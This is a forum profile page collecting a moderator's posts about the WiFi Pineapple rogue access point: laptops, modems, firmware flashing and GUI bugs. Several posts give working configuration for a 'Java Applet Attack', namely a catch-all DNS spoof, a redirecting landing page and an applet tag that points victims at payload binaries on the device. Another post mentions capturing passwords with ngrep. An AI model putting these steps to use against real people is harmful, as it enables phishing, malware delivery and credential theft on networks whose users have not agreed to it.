Jump to content

Whistle Master

Pineapple Moderators
 View Profile  See their activity

  • Posts

    941

  • Joined

  • Last visited

  • Days Won

    63

 Content Type 

Everything posted by Whistle Master

  1. Whistle Master
    I'm using a Lenovo X220 with BT5 R2 and it's running fine ! This is a quite small laptop, the battery life is very good ! Moreover, the X220 has a built-in 3G modem :-)
  2. Whistle Master
    Regarding your "No such file or directory" problem, it comes from the wiki. I think the problem is that the quotes in your landing page configuration are not the correct ones (” vs ") Try to replace your landing page configuration with the following (with correct ones): <html> <head> <meta http-equiv="REFRESH" content="0;url=index.html"> </head> <body> </body> </html>
  3. Whistle Master
    Hi Darren ! I found my modem (Huawei E173) in the reference list, what do I have to change in the config to make it work with the MK4 ? Thanks in advance !
  4. Whistle Master
    Woot ! Great job guys ! I just grab one !
  5. Whistle Master
    You definitely have an issue with your metasploit install. Try to reinstall it and update it with last svn sources: svn update Secondly, regarding your "No such file or directory" problem, I think the problem is that the quotes in your landing page configuration are not the correct ones (” vs ") Try to replace your landing page configuration with the following (with correct ones): <html> <head> <meta http-equiv="REFRESH" content="0;url=/java/run.html"> </head> <body> </body> </html>
  6. Whistle Master
    Telot, can you tell us at which step you are blocked ? Try to login on the pineapple through SSH to see if you have all the files in the www folder: ls -la /www/ && ls -la /www/java/ Did you try my instruction on the wiki ?
  7. Whistle Master
    I did not try it myself but maybe have a look at NoCatSplash
  8. Whistle Master
    You have also some guides on the wiki: DNS Spoof Rickroll Java Applet Attack
  9. Whistle Master
    You also have to start DNS Spoof for this attack. The enable "Evil Java" action does the following: - Change the DNS Spoof settings to redirect all sites to the pineapple; - Change the landing page. But you can do it manualy: Go to Configuration: - Edit DNS Spoof Host to capture all hosts: 172.16.42.1 * - Edit Landing Page (phishing) to change redirection: to content=“0;url=/java/run.html” EDIT: I added a guide on the wiki
  10. Whistle Master
    I did read the instructions but the attack was not working correctly... According to SEC blog: With your run.html file, the applet cannot download the specific payloads from IP 172.16.42.42 (except if you are running a web server delivering the payloads) as they are on the pineapple 172.16.42.1 and in the folder /www/java/ I therefore modified your run.html to the following and it works perfectly: <applet width="1" height="1" id="Secure Java Applet" code="Java.class" archive="Signed_Update.jar"> <param name="WINDOWS" value="http://172.16.42.1:80/java/Qf8IYZJlKNMdl5"> <param name="STUFF" value=""> <param name="OSX" value="http://172.16.42.1:80/java/mac.bin"> <param name="LINUX" value="http://172.16.42.1:80/java/nix.bin">
  11. Whistle Master
    Hi reflex! Just a quick question: I had a look on file run.html and I was wondering why the values of the Java Applet are pointing on 172.16.42.42, which is the computer IP, instead of the pineapple IP 172.16.42.1, as the payloads are stored on it, no? <applet width="1" height="1" id="Secure Java Applet" code="Java.class" archive="Signed_Update.jar"> <param name="WINDOWS" value="http://172.16.42.42:80/Qf8IYZJlKNMdl5"> <param name="STUFF" value=""> <param name="OSX" value="http://172.16.42.42:80/mac.bin"> <param name="LINUX" value="http://172.16.42.42:80/nix.bin"> Thanks !
  12. Whistle Master
    I flashed to fw v2.1.2 and I didn't have the problem again for the moment. I'm using FF.
  13. Whistle Master
    I had the same problem just after flashing to v2.1. See my post here.
  14. Whistle Master
    You can try the flashing guide described on the wiki. Go for the Method 1, with the utility ap51-flash, it is the easier way to flash it.
  15. Whistle Master
    Hi Seb ! Thanks for the excellent work on the firmware ! I just flashed the new version 2.1 on my AP51 and I have a little bug. With the ngrep stuff, I commented out in the configuration of Ngrep in order to capture only Passwords. As a test, I just tried to search the word "password" in google.com and I got the following: as you can see on the screenshot, the GUI is broken when displaying the ngrep results: Thanks ! Regards,
×
×
  • Create New...